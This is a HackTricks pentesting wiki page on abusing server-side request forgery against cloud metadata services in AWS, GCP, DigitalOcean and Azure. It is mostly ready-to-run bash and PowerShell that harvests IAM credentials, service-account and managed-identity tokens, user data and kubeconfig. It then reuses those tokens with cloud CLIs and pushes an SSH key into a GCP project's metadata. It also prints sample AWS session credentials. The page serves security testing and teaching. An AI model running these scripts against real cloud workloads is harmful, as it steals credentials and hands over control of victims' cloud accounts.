cloud-ssrf.md (45024B)
1 --- 2 title: "Cloud SSRF" 3 section: "Web Pentesting" 4 sectionSlug: "pentesting-web" 5 sourcePath: "src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Cloud SSRF 14 15 ## AWS 16 17 ### Abusing SSRF in AWS EC2 environment 18 19 The **instance metadata** endpoint is accessible from an EC2 instance at `http://169.254.169.254` and exposes information about that instance ([metadata documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). 20 21 There are **2 versions** of the metadata endpoint. The **first** one allows to **access** the endpoint via **GET** requests (so any **SSRF can exploit it**). For the **version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), you need to ask for a **token** sending a **PUT** request with a **HTTP header** and then use that token to access the metadata with another HTTP header (so it's **more complicated to abuse** with a SSRF). 22 23 > [!CAUTION] 24 > Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. 25 > 26 > Moreover, **IMDSv2** will also **block requests to fetch a token that include the `X-Forwarded-For` header**. This is to prevent misconfigured reverse proxies from being able to access it. 27 28 You can find information about the [metadata endpoints in the docs](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). In the following script some interesting information is obtained from it: 29 30 ```bash 31 EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null) 32 HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN" 33 URL="http://169.254.169.254/latest/meta-data" 34 35 aws_req="" 36 if [ "$(command -v curl)" ]; then 37 aws_req="curl -s -f -H '$HEADER'" 38 elif [ "$(command -v wget)" ]; then 39 aws_req="wget -q -O - -H '$HEADER'" 40 else 41 echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" 42 fi 43 44 printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo "" 45 printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo "" 46 printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo "" 47 printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo "" 48 printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo "" 49 printf "region: "; eval $aws_req "$URL/placement/region"; echo "" 50 51 echo "" 52 echo "Account Info" 53 eval $aws_req "$URL/identity-credentials/ec2/info"; echo "" 54 eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo "" 55 56 echo "" 57 echo "Network Info" 58 for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do 59 echo "Mac: $mac" 60 printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo "" 61 printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo "" 62 printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo "" 63 echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo "" 64 printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo "" 65 echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo "" 66 printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo "" 67 echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo "" 68 echo "" 69 done 70 71 echo "" 72 echo "IAM Role" 73 eval $aws_req "$URL/iam/info" 74 for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do 75 echo "Role: $role" 76 eval $aws_req "$URL/iam/security-credentials/$role"; echo "" 77 echo "" 78 done 79 80 echo "" 81 echo "User Data" 82 # Search hardcoded credentials 83 eval $aws_req "http://169.254.169.254/latest/user-data" 84 85 echo "" 86 echo "EC2 Security Credentials" 87 eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo "" 88 ``` 89 90 As a **publicly available IAM credentials** exposed example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws) 91 92 You can also check public **EC2 security credentials** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance) 93 94 You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do. 95 96 To take advantage of the new credentials, you will need to create a new AWS profile like this one: 97 98 ```text 99 [profilename] 100 aws_access_key_id = ASIA6GG71[...] 101 aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...] 102 aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw= 103 ``` 104 105 Notice the **aws_session_token**, this is indispensable for the profile to work. 106 107 [**PACU**](https://github.com/RhinoSecurityLabs/pacu) can be used with the discovered credentials to find out your privileges and try to escalate privileges 108 109 ### SSRF in AWS ECS (Container Service) credentials 110 111 **ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**. 112 113 If you access _**http://169.254.170.2/v2/credentials/\<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the \<GUID>**. To find the \<GUID> you need to read the **environ** variable **AWS_CONTAINER_CREDENTIALS_RELATIVE_URI** inside the machine.\ 114 You could be able to read it exploiting an **Path Traversal** to `file:///proc/self/environ`\ 115 The mentioned http address should give you the **AccessKey, SecretKey and token**. 116 117 ```bash 118 curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - 119 ``` 120 121 > [!TIP] 122 > Note that in **some cases** you will be able to access the **EC2 metadata instance** from the container (check IMDSv2 TTL limitations mentioned previously). In these scenarios from the container you could access both the container IAM role and the EC2 IAM role. 123 124 ### SSRF in AWS EKS Pod Identity credentials 125 126 Recent EKS clusters can use **Pod Identity** instead of the older ECS-style relative URI flow. In these pods, EKS injects: 127 128 - `AWS_CONTAINER_CREDENTIALS_FULL_URI=http://169.254.170.23/v1/credentials` 129 - `AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE=/var/run/secrets/pods.eks.amazonaws.com/serviceaccount/eks-pod-identity-token` 130 131 Therefore, a SSRF/LFI capable of reading **env vars** or the projected **service account token file** can often recover the pod IAM credentials by querying the local credential endpoint with the authorization token from that file:<sup>[[1]](#references)</sup> 132 133 ```bash 134 # Common discovery primitives 135 cat /proc/self/environ | tr '\\0' '\\n' | grep '^AWS_CONTAINER_' 136 ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 137 138 # Use the projected token to query the local Pod Identity credential endpoint 139 AUTH_HEADER=$(cat "$AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE") 140 curl -s -H "Authorization: $AUTH_HEADER" "$AWS_CONTAINER_CREDENTIALS_FULL_URI" 141 ``` 142 143 This is especially useful in **EKS webhooks**, **templating services**, or **URL fetchers** that run inside pods and expose a SSRF plus a local file read primitive. The response contains temporary AWS credentials that can be reused from the AWS CLI or tooling such as **Pacu**.<sup>[[1]](#references)</sup> 144 145 ### SSRF for AWS Lambda 146 147 In this case the **credentials are stored in env variables**. So, to access them you need to access something like **`file:///proc/self/environ`**. 148 149 The **name** of the **interesting env variables** are: 150 151 - `AWS_SESSION_TOKEN` 152 - `AWS_SECRET_ACCESS_KEY` 153 - `AWS_ACCESS_KEY_ID` 154 155 Moreover, in addition to IAM credentials, Lambda functions also have **event data that is passed to the function when it is started**. This data is made available to the function via the [runtime interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) and could contain **sensitive** **information** (like inside the **stageVariables**). Unlike IAM credentials, this data is accessible over standard SSRF at **`http://localhost:9001/2018-06-01/runtime/invocation/next`**. 156 157 > [!WARNING] 158 > Note that **lambda credentials** are inside the **env variables**. So if the **stack trace** of the lambda code prints env vars, it's possible to **exfiltrate them provoking an error** in the app. 159 160 ### SSRF URL for AWS Elastic Beanstalk 161 162 We retrieve the `accountId` and `region` from the API. 163 164 ```text 165 http://169.254.169.254/latest/dynamic/instance-identity/document 166 http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role 167 ``` 168 169 We then retrieve the `AccessKeyId`, `SecretAccessKey`, and `Token` from the API. 170 171 ```text 172 http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role 173 ``` 174 175   176 177 Then we use the credentials with `aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`. 178 179 ## GCP 180 181 You can [**find here the docs about metadata endpoints**](https://cloud.google.com/appengine/docs/standard/java/accessing-instance-metadata). 182 183 ### SSRF URL for Google Cloud 184 185 Requires the HTTP header **`Metadata-Flavor: Google`** and you can access the metadata endpoint in with the following URLs: 186 187 - [http://169.254.169.254](http://169.254.169.254) 188 - [http://metadata.google.internal](http://metadata.google.internal) 189 - [http://metadata](http://metadata) 190 191 Interesting endpoints to extract information: 192 193 ```bash 194 # /project 195 # Project name and number 196 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id 197 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id 198 # Project attributes 199 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/attributes/?recursive=true 200 201 # /oslogin 202 # users 203 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users 204 # groups 205 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups 206 # security-keys 207 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys 208 # authorize 209 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize 210 211 # /instance 212 # Description 213 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description 214 # Hostname 215 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname 216 # ID 217 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id 218 # Image 219 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image 220 # Machine Type 221 curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type 222 # Name 223 curl -s -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name 224 # Tags 225 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags 226 # Zone 227 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone 228 # User data 229 curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script" 230 # Network Interfaces 231 for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do 232 echo " IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip") 233 echo " Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask") 234 echo " Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway") 235 echo " DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers") 236 echo " Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network") 237 echo " ============== " 238 done 239 # Service Accounts 240 for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 241 echo " Name: $sa" 242 echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") 243 echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") 244 echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") 245 echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") 246 echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") 247 echo " ============== " 248 done 249 # K8s Attributtes 250 ## Cluster location 251 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location 252 ## Cluster name 253 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name 254 ## Os-login enabled 255 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin 256 ## Kube-env 257 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env 258 ## Kube-labels 259 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels 260 ## Kubeconfig 261 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig 262 263 # All custom project attributes 264 curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \ 265 -H "Metadata-Flavor: Google" 266 267 # All custom project attributes instance attributes 268 curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ 269 -H "Metadata-Flavor: Google" 270 ``` 271 272 Beta does NOT require a header atm (thanks Mathias Karlsson @avlidienbrunn) 273 274 ```text 275 http://metadata.google.internal/computeMetadata/v1beta1/ 276 http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true 277 ``` 278 279 > [!CAUTION] 280 > In order to **use the exfiltrated service account token** you can just do: 281 > 282 > ```bash 283 > # Via env vars 284 > export CLOUDSDK_AUTH_ACCESS_TOKEN=<token> 285 > gcloud projects list 286 > 287 > # Via setup 288 > echo "<token>" > /some/path/to/token 289 > gcloud config set auth/access_token_file /some/path/to/token 290 > gcloud projects list 291 > gcloud config unset auth/access_token_file 292 > ``` 293 294 ### Add an SSH key 295 296 Extract the token 297 298 ```text 299 http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json 300 ``` 301 302 Check the scope of the token (with the previous output or running the following) 303 304 ```bash 305 curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { 306 "issued_to": "101302079XXXXX", 307 "audience": "10130207XXXXX", 308 "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 309 "expires_in": 2443, 310 "access_type": "offline" 311 } 312 ``` 313 314 Now push the SSH key. 315 316 ```bash 317 curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 318 -H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 319 -H "Content-Type: application/json" 320 --data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}' 321 ``` 322 323 ### Cloud Functions 324 325 The metadata endpoint works the same as in VMs but without some endpoints: 326 327 ```bash 328 # /project 329 # Project name and number 330 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id 331 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id 332 333 # /instance 334 # ID 335 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id 336 # Zone 337 curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone 338 # Auto MTLS config 339 curl -s -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration 340 # Service Accounts 341 for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 342 echo " Name: $sa" 343 echo " Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email") 344 echo " Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases") 345 echo " Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity") 346 echo " Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes") 347 echo " Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token") 348 echo " ============== " 349 done 350 ``` 351 352 ### Cloud Run / Cloud Functions 2nd gen 353 354 For **Cloud Run** and **2nd generation Cloud Functions** it is usually more interesting to steal not only the OAuth access token, but also an **audience-bound identity token** from the metadata server. This is useful when the compromised workload can reach **private Cloud Run services**, **IAP-protected backends**, or any service validating Google-issued ID tokens. 355 356 ```bash 357 # OAuth access token for the attached service account 358 curl -s -H "Metadata-Flavor: Google" \ 359 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" 360 361 # Audience-bound identity token 362 curl -s -H "Metadata-Flavor: Google" \ 363 "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/identity?audience=https://TARGET-REGION-PROJECT.run.app" 364 ``` 365 366 > [!TIP] 367 > The **`identity`** endpoint requires an **`audience`** parameter. In real engagements this usually means that, after proving SSRF against `token`, you should enumerate internal service URLs and then request a second token with the exact audience expected by the target service. 368 369 ## Digital Ocean 370 371 > [!WARNING] 372 > There isn't things like AWS Roles or GCP service account, so don't expect to find metadata bot credentials 373 374 Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/) 375 376 ```text 377 curl http://169.254.169.254/metadata/v1/id 378 http://169.254.169.254/metadata/v1.json 379 http://169.254.169.254/metadata/v1/ 380 http://169.254.169.254/metadata/v1/id 381 http://169.254.169.254/metadata/v1/user-data 382 http://169.254.169.254/metadata/v1/hostname 383 http://169.254.169.254/metadata/v1/region 384 http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request: 385 curl http://169.254.169.254/metadata/v1.json | jq 386 ``` 387 388 ## Azure 389 390 ### Azure VM 391 392 [**Docs** in here](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux). 393 394 - **Must** contain the header `Metadata: true` 395 - Must **not** contain an `X-Forwarded-For` header 396 397 > [!TIP] 398 > An Azure VM can have attached 1 system managed identity and several user managed identities. Which basically means that you can **impersonate all the managed identities attached to a VM**. 399 > 400 > When requesting an access token to the metadata endpoint, by default the metadata service will use the **system assigned managed identity** to generate the token, if there is any system assigned managed identity. In case there is only just **ONE user assigned managed identity**, then this will be used by default. However, in case there is no system assigned managed identity and there are **multiple user assigned managed identities**, then the metadata service will return an error indicating that there are multiple managed identities and it's necessary to **specify which one to use**. 401 > 402 > The most complete way to enumerate the **attached managed identities** is usually via **Azure WireServer / GoalState / ExtensionsConfig**, because that platform configuration can expose the **user assigned managed identities** attached to the VM (for more info check: <https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-services/vms/index.html>). 403 > 404 > <details> 405 > 406 > <summary>Example Linux script to enumerate attached managed identities from the VM</summary> 407 > 408 > ```bash 409 > #!/usr/bin/env bash 410 > set -euo pipefail 411 > 412 > ws="http://168.63.129.16" 413 > 414 > goal_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$ws/?comp=goalstate")" 415 > 416 > ext_url="$( 417 > GOAL_XML="$goal_xml" python3 - <<'PY' 418 > import os 419 > import xml.etree.ElementTree as ET 420 > 421 > root = ET.fromstring(os.environ["GOAL_XML"].strip()) 422 > 423 > def lname(tag): 424 > return tag.rsplit("}", 1)[-1] 425 > 426 > for el in root.iter(): 427 > if lname(el.tag) == "ExtensionsConfig" and (el.text or "").strip(): 428 > print(el.text.strip()) 429 > break 430 > PY 431 > )" 432 > 433 > ext_xml="$(curl -fsS -H "x-ms-version: 2012-11-30" "$ext_url")" 434 > 435 > EXT_XML="$ext_xml" python3 - <<'PY' 436 > import os 437 > import xml.etree.ElementTree as ET 438 > 439 > root = ET.fromstring(os.environ["EXT_XML"].strip()) 440 > 441 > def lname(tag): 442 > return tag.rsplit("}", 1)[-1] 443 > 444 > ids = [el for el in root.iter() if lname(el.tag) == "UserAssignedIdentity"] 445 > 446 > if not ids: 447 > print("No UserAssignedIdentity nodes found") 448 > raise SystemExit(0) 449 > 450 > for idnode in ids: 451 > client_id = "" 452 > object_id = "" 453 > resource_id = "" 454 > 455 > for child in idnode.iter(): 456 > name = lname(child.tag) 457 > text = (child.text or "").strip() 458 > if name == "IdentityClientId": 459 > client_id = text 460 > elif name == "IdentityObjectId": 461 > object_id = text 462 > elif name == "IdentityResourceId": 463 > resource_id = text 464 > 465 > print("[+] Managed Identity:") 466 > print(f" ClientId : {client_id}") 467 > print(f" ObjectId : {object_id}") 468 > print(f" ResourceId : {resource_id}") 469 > PY 470 > ``` 471 > 472 > </details> 473 474 475 > [!WARNING] 476 > If WireServer / GoalState is not reachable from your execution context, the following are useful **alternative ways** to identify attached managed identities: 477 > 478 > - Get **attached identities with az cli** (if you have already compromised a principal in the Azure tenant with the permission `Microsoft.Compute/virtualMachines/read`) 479 > 480 > ```bash 481 > az vm identity show \ 482 > --resource-group <rsc-group> \ 483 > --name <vm-name> 484 > ``` 485 > 486 > - Get **attached identities** using the default attached MI in the metadata: 487 > 488 > ```bash 489 > export API_VERSION="2021-12-13" 490 > 491 > # Get token from default MI 492 > export TOKEN=$(curl -s -H "Metadata:true" \ 493 > "http://169.254.169.254/metadata/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" \ 494 > | jq -r '.access_token') 495 > 496 > # Get needed details 497 > export SUBSCRIPTION_ID=$(curl -s -H "Metadata:true" \ 498 > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.subscriptionId') 499 > export RESOURCE_GROUP=$(curl -s -H "Metadata:true" \ 500 > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.resourceGroupName') 501 > export VM_NAME=$(curl -s -H "Metadata:true" \ 502 > "http://169.254.169.254/metadata/instance?api-version=$API_VERSION" | jq -r '.compute.name') 503 > 504 > # Try to get attached MIs 505 > curl -s -H "Authorization: Bearer $TOKEN" \ 506 > "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Compute/virtualMachines/$VM_NAME?api-version=$API_VERSION" | jq 507 > ``` 508 > 509 > - **Get all** the defined managed identities in the tenant and **brute force** to see if any of them is attached to the VM (the permission `Microsoft.ManagedIdentity/userAssignedIdentities/read` is needed): 510 > 511 > ```bash 512 > az identity list 513 > ``` 514 > 515 516 > [!CAUTION] 517 > For this VM metadata endpoint, select a user-assigned managed identity with `object_id`, `client_id`, or `msi_res_id`; omitting all three selects the default managed identity ([**docs**](https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token)). 518 519 ### Bash 520 ```bash 521 HEADER="Metadata:true" 522 URL="http://169.254.169.254/metadata" 523 API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions 524 525 echo "Instance details" 526 curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION" 527 528 echo "Load Balancer details" 529 curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION" 530 531 echo "Management Token" 532 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/" 533 534 echo "Graph token" 535 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/" 536 537 echo "Vault token" 538 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/" 539 540 echo "Storage token" 541 curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/" 542 ``` 543 544 ### PS 545 ```bash 546 # Powershell 547 Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64 548 ## User data 549 $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text" 550 [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData)) 551 552 ## Get management token 553 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/" -Headers @{"Metadata"="true"}).access_token 554 555 ## Get graph token 556 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://graph.microsoft.com/" -Headers @{"Metadata"="true"}).access_token 557 558 ## Get vault token 559 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://vault.azure.net/" -Headers @{"Metadata"="true"}).access_token 560 561 ## Get storage token 562 (Invoke-RestMethod -Uri "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://storage.azure.com/" -Headers @{"Metadata"="true"}).access_token 563 564 565 # More Paths 566 /metadata/instance?api-version=2017-04-02 567 /metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text 568 /metadata/instance/compute/userData?api-version=2021-01-01&format=text 569 ``` 570 571 572 > [!WARNING] 573 > Note that the endpoint **`http://169.254.169.254/metadata/v1/instanceinfo` doesn't require the `Metadata: True` header** which is great to show impact in SSRF vulnerabilities in Azure were you cannot add this header. 574 575 ### Azure WireServer & GoalState 576 577 Azure VMs expose **internal platform endpoints** that are used for configuration, metadata retrieval and identity management. Understanding the difference between them is critical for **enumeration, privilege escalation and post-exploitation**. 578 579 --- 580 581 #### Wire Server (Azure Fabric Endpoint) 582 583 The **Azure WireServer** is an internal Azure IP (`168.63.129.16`) used by the platform to communicate with the VM. 584 585 It is responsible for: 586 587 - Communication with the **VM Agent** 588 - Delivering: 589 - **GoalState** 590 - **ExtensionsConfig** 591 - Internal VM configuration (including identities) 592 - DHCP & DNS 